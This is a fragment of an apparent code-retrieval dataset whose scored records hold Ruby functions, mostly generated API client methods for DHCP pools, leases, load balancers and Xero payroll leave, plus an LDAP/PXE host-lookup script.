"text": "def create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.create_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.create_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ServicesApi.create_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#create_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "60777008ac846a7c31118b8b7fa4e915",
"score": "0.45246437",
"text": "def create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.create_dhcp_ip_pool ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.create_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ManagementPlaneApiServicesDhcpApi.create_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools'.sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#create_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "76700540663a3092ae90e4127efd3b75",
"score": "0.45143434",
"text": "def get_employee_leave_balances_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollNzApi.get_employee_leave_balances ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollNzApi.get_employee_leave_balances\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollNzApi.get_employee_leave_balances\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/LeaveBalances'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeLeaveBalances' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollNzApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollNzApi#get_employee_leave_balances\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "a9ea4a1afb878c0d64ddf84d1bdf6c56",
"score": "0.4489907",
"text": "def getHosts()\n\t\n\t# Opens a connection and binds\n\tconn = LDAP::Conn.open($LDAP_SERVER, $LDAP_PORT)\n\tconn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n\tconn.bind($LDAP_USER, $LDAP_PASSWORD)\n\n\t# Aquires information about subnets known by the DHCP\n\tdhcpinfo = getDHCPInfo(conn)\n\n\t# Performs a search and saves the result in an array\n\tous = {}\n\tconn.search(\"ou=Rechenzentrum,ou=UniFreiburg,ou=RIPM,dc=uni-freiburg,dc=de\", LDAP::LDAP_SCOPE_SUBTREE, \"(&(!(ou=Rechenzentrum))(ou=*))\") do |entry|\n\t\t\n\t\tcurrent_pool = entry.vals(\"ou\")\n\t\tous[current_pool] = []\n\t\t\n\t\ti = 0\n\t\t# search for PXE configurations for the current pool\n\t\tconn.search(\"ou=\" + current_pool[0] + \",ou=Rechenzentrum,ou=UniFreiburg,ou=RIPM,dc=uni-freiburg,dc=de\", LDAP::LDAP_SCOPE_ONELEVEL, \"(objectClass=ActivePXEConfig)\") do |pxe_menu|\n\t\t\t\n\t\t\t# Apply the found PXE configuration for pool\n if pxe_menu.vals(\"ForceBoot\") == nil\n wakeOnLAN = false\n else\n wakeOnLAN = true\n end\n \n\t\t\tous[current_pool][i] = {:time => pxe_menu.vals(\"TimeSlot\")[0], :menu => pxe_menu.vals(\"cn\")[0], :wake => wakeOnLAN}\n i += 1\n\t\tend\n\t\t\n\t\t# if no PXE configuration was found for this pool\n\t\t# the default config is applied\n\t\tif i == 0\n\t\t\tous[current_pool] = nil\n\t\tend\n\t\t\n\tend\n\n\t# Looks for Hostnames in the specified ou's and creates a hashmap\n\tpools = {}\n\tous.each do |org_unit,default_pxe|\n\n\t\t# Initialization of hashmaps\n\t\tpools[org_unit[0]] = {}\n\t\tpools[org_unit[0]][:hosts] = {}\n\t\t\n\t\t# Search for computers of current pool\n\t\tconn.search(\"ou=\" + org_unit[0] + \",ou=Rechenzentrum,ou=UniFreiburg,ou=RIPM,dc=uni-freiburg,dc=de\", LDAP::LDAP_SCOPE_SUBTREE, \"(HostName=*)\") do |entry|\n\n\t\t\t# Process entry if IP and MAC exist\n\t\t\tif entry.vals(\"HWaddress\") != nil and entry.vals(\"IPAddress\") != nil\n\n\t\t\t\t# Initialization\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]] = {}\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:pxe] = []\n\t\t\t\t\n\t\t\t\t# Store pxe info, MAC and broadcast address\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:MAC] = entry.vals(\"HWaddress\")[0]\n\t\t\t\tip_address = entry.vals(\"IPAddress\")[0].split(\"_\")[0]\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:BC] = getBroadcastAddress(ip_address,dhcpinfo)\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:IP] = ip_address\n\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:HostName] = entry.vals(\"HostName\")[0]\n\t\t\t\t\n\t\t\t\t# Search for PXE menus assigned to the current computer\n\t\t\t\ti = 0\n\t\t\t\tconn.search(\"HostName=\" + pools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:HostName] + \",cn=computers,ou=\" + org_unit[0] + \",ou=Rechenzentrum,ou=UniFreiburg,ou=RIPM,dc=uni-freiburg,dc=de\", LDAP::LDAP_SCOPE_SUBTREE, \"(objectClass=ActivePXEConfig)\") do |pxe_menu|\n\t\t\t\t\t\n\t\t\t\t\t# Apply the found PXE configuration for computer\n if pxe_menu.vals(\"ForceBoot\") == nil\n wakeOnLAN = false\n else\n wakeOnLAN = true\n end\n \n pools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:pxe][i] = {:time => pxe_menu.vals(\"TimeSlot\")[0], :menu => pxe_menu.vals(\"cn\")[0], :wake => wakeOnLAN}\n i += 1\n\t\t\t\tend\n\t\t\t\t# if no PXE configuration was found for this computer\n\t\t\t\t# the default config for the pool is applied\n\t\t\t\tif i == 0\n\t\t\t\t\tpools[org_unit[0]][:hosts][entry.vals(\"HostName\")[0]][:pxe] = default_pxe\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\r\n \r\n # return the resulting hash table\n\treturn pools\nend",
"title": ""
},
{
"docid": "fc9ece616ee8f83b5737e53e724c328c",
"score": "0.4479135",
"text": "def dhcp_lease_config(leasetime, url)\n\t\t\t\t\t\topen_lan_page(url)\n\t\t\t\t\t\tdhcp_lease_set(leasetime)\n\t\t\t\t\t\tbtn_save_lanset\n\t\t\t\tend",
"title": ""
},
{
"docid": "05b1501c5213de631100c9aad190d525",
"score": "0.44670877",
"text": "def find_elbs\n @client.describe_elastic_load_balancers({:stack_id => stack_id})[:elastic_load_balancers]\n end",
"title": ""
},
{
"docid": "965af65cba2e192382116d3571d25c0b",
"score": "0.44666693",
"text": "def lease_server\n server = _lease_server(:timeout => 0) until !server.nil?\n server\n end",
"title": ""
},
{
"docid": "1708b5d73c477937aef4b1dcc36cc9c1",
"score": "0.44568288",
"text": "def get_user_leads(options={})\n response = get(\"get_user_leads/\", options)\n end",
"title": ""
},
{
"docid": "7d7fed0a52ab96e59ce0d364c51d849b",
"score": "0.4446722",
"text": "def list_dhcp_servers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.list_dhcp_servers ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_servers, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_servers, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/dhcp/servers\"\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServerListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#list_dhcp_servers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7d7fed0a52ab96e59ce0d364c51d849b",
"score": "0.4446722",
"text": "def list_dhcp_servers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.list_dhcp_servers ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_servers, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_servers, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/dhcp/servers\"\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServerListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#list_dhcp_servers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "cd401b9fa42d7d06739b7a490fa9cfa7",
"score": "0.44464394",
"text": "def delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.delete_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.delete_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.delete_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#delete_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "cd401b9fa42d7d06739b7a490fa9cfa7",
"score": "0.44464394",
"text": "def delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.delete_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.delete_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.delete_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#delete_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7a68cf1cf4c9c62d287e9dc430bfa411",
"score": "0.43959156",
"text": "def read_load_balancer_pool(pool_id, opts = {})\n data, _status_code, _headers = read_load_balancer_pool_with_http_info(pool_id, opts)\n data\n end",
"title": ""
},
{
"docid": "392f0eec9a41f01956a0baf3fe2c0c72",
"score": "0.43923768",
"text": "def delete_a_dhcp_lease_with_http_info(server_id, ip, mac, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.delete_a_dhcp_lease ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.delete_a_dhcp_lease\"\n end\n # verify the required parameter 'ip' is set\n if @api_client.config.client_side_validation && ip.nil?\n fail ArgumentError, \"Missing the required parameter 'ip' when calling ManagementPlaneApiServicesDhcpApi.delete_a_dhcp_lease\"\n end\n # verify the required parameter 'mac' is set\n if @api_client.config.client_side_validation && mac.nil?\n fail ArgumentError, \"Missing the required parameter 'mac' when calling ManagementPlaneApiServicesDhcpApi.delete_a_dhcp_lease\"\n end\n if @api_client.config.client_side_validation && mac !~ Regexp.new(/^(([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2}))|(([0-9A-Fa-f]{2}[-]){5}([0-9A-Fa-f]{2}))$/)\n fail ArgumentError, \"invalid value for 'mac' when calling ManagementPlaneApiServicesDhcpApi.delete_a_dhcp_lease, must conform to the pattern /^(([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2}))|(([0-9A-Fa-f]{2}[-]){5}([0-9A-Fa-f]{2}))$/.\"\n end\n\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/leases'.sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'ip'] = ip\n query_params[:'mac'] = mac\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#delete_a_dhcp_lease\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f78ae5b8f92faa155dcfb46ad4c1af0e",
"score": "0.4377715",
"text": "def read_load_balancer_pool(pool_id, opts = {})\n data, _status_code, _headers = read_load_balancer_pool_with_http_info(pool_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "f78ae5b8f92faa155dcfb46ad4c1af0e",
"score": "0.4377715",
"text": "def read_load_balancer_pool(pool_id, opts = {})\n data, _status_code, _headers = read_load_balancer_pool_with_http_info(pool_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "a1ef7812a004bcf94498912cd59324f3",
"score": "0.43726036",
"text": "def read_load_balancer_pool_with_http_info(pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_load_balancer_pool ...\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.read_load_balancer_pool\"\n end\n # resource path\n local_var_path = \"/loadbalancer/pools/{pool-id}\".sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "a1ef7812a004bcf94498912cd59324f3",
"score": "0.43726036",
"text": "def read_load_balancer_pool_with_http_info(pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_load_balancer_pool ...\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.read_load_balancer_pool\"\n end\n # resource path\n local_var_path = \"/loadbalancer/pools/{pool-id}\".sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "6c80833447a7fce67621a72977ede5a7",
"score": "0.43723387",
"text": "def get_employee_leave_with_http_info(xero_tenant_id, employee_id, leave_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollUkApi.get_employee_leave ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollUkApi.get_employee_leave\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollUkApi.get_employee_leave\"\n end\n # verify the required parameter 'leave_id' is set\n if @api_client.config.client_side_validation && leave_id.nil?\n fail ArgumentError, \"Missing the required parameter 'leave_id' when calling PayrollUkApi.get_employee_leave\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/Leave/{LeaveID}'.sub('{' + 'EmployeeID' + '}', employee_id.to_s).sub('{' + 'LeaveID' + '}', leave_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeLeaveObject' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollUkApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollUkApi#get_employee_leave\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0ac4af817b7406859bc8b2a21224048d",
"score": "0.43610236",
"text": "def find_dhcp_servers\n dhcp_servers = node[:dns][:dhcp_servers] || []\n\n # Find dhcp servers and their ip adress\n unless node[:dns][:dhcp_servers].empty?\n dhcp_servers = Discovery.all('dhcp_server',\n node: node,\n empty_ok: true,\n environment_aware: true\n ).map { |n| n.ipaddress }\n end\n\n dhcp_servers\n end",
"title": ""
},
{
"docid": "ff8880e36bb8cea10b3de3a0622d13c6",
"score": "0.435584",
"text": "def delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.delete_dhcp_ip_pool ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.delete_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesDhcpApi.delete_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools/{pool-id}'.sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#delete_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "d9cc980e8987077f6058f96a651fd431",
"score": "0.4353088",
"text": "def get_dhcp_ip_pool_state(server_id, pool_id, opts = {})\n data, _status_code, _headers = get_dhcp_ip_pool_state_with_http_info(server_id, pool_id, opts)\n data\n end",
"title": ""
},
{
"docid": "73d7e9132e809f2ac141db119a4f20d7",
"score": "0.43492946",
"text": "def list_dhcp_relays(opts = {})\n data, _status_code, _headers = list_dhcp_relays_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "8670c69ff538214f6e7d2b1149660f74",
"score": "0.43438327",
"text": "def ladders(options={})\n get(profile_uri(options, \"ladders\"))\n end",
"title": ""
},
{
"docid": "50e2ebdcc09211a3b3f8c3441f62deaf",
"score": "0.43383387",
